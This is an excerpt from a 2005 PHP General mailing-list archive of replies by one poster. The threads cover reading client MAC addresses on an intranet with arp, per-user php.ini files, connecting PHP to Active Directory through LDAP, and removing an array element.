On 10/10/05, M. Sokolewicz [EMAIL PROTECTED] wrote:
 That will give you the *local* mac address, not that of the user
 visiting your page. The problem is the fact that the mac address is not
 sent as part of the REQUEST. As such it's not possible for PHP to find
 out what it is. So, unfortunately, no. (Though it's a very common
 question on this list)



Normally I would agree, but he said he was running a local intranet server.

arp will work, if you're on the same network as the computer you are
querying, but if not, then arp will give you the mac address of the
router.

arp can be used to get the mac of a certain machine as well(identified
by its IP), as well as listing out the cache of machines that have
recently connected.




 - tul

 Rory Browne wrote:
  On unix
  man arp
 
  on windows
  arp/h
  arp/help
  arp/?
 
  sorry for short and sweet resp, but I'm falling asleep.
 
  On 10/9/05, Ben Sagal [EMAIL PROTECTED] wrote:
 
 I have a local intranet server, running apache1.3+php4.  Is it
 possible to get the mac address of computes which access on of my php
 pages?
 
 Ben
 
 --
 PHP General Mailing List (http://www.php.net/)
 To unsubscribe, visit: http://www.php.net/unsub.php
 
 
 



--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] per user php.ini

2005-10-08 Thread Rory Browne
why not upload a phpinfo() file and see?

I'm personally not quite sure how this would work, and I'm interested
in finding out.

On 10/8/05, James Benson [EMAIL PROTECTED] wrote:
 Hey everyone, probably missed the bit in the manual but my current
 webhost allows uploading of my own php.ini to my home dir, my question
 is how to do this?

 My guess would be to set the ./configure line to something like
 --with-config-file-path=/home/*/public_html

 but I dont wanna re-compile if im wrong, can anyone tell me?

 Using apache-1.3.33, php-4.4.0

 Many thanks,
 James Benson.

 --
 PHP General Mailing List (http://www.php.net/)
 To unsubscribe, visit: http://www.php.net/unsub.php



--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] PHP and Active Directory

2005-10-03 Thread Rory Browne
Check out the user contributed notes on the manual page - www.php.net/ldap

A few of them refer to Active Directory.

If you installed PHP from source, then you need to install OpenLDAP or
some other ldap package to get the client libraries.

If you installed PHP from packages, then you need to install the
php-ldap package(assuming the functions do not currently work)

If someone else installed PHP, then you need to get them to install
the LDAP extensions to PHP.

On 9/29/05, Miretsky, Anya [EMAIL PROTECTED] wrote:
 Hi,

 How do I connect a php script running on linux with Active Directory on
 a windows machine? I would like to have my php script autmotatically
 read email addresses from the AD server. Can this be done? I've found a
 bunch of ldap functions for php but they seem to require ldap to be
 installed on linux. I'm confused. Thanks in advance for your help.


 Anya



--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] array_shift not working?

2005-10-03 Thread Rory Browne
[snip]
  How can i remove the 'count' from the array?

www.php.net/unset

  Regards,
  Frank



--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



  1   2   3   4   >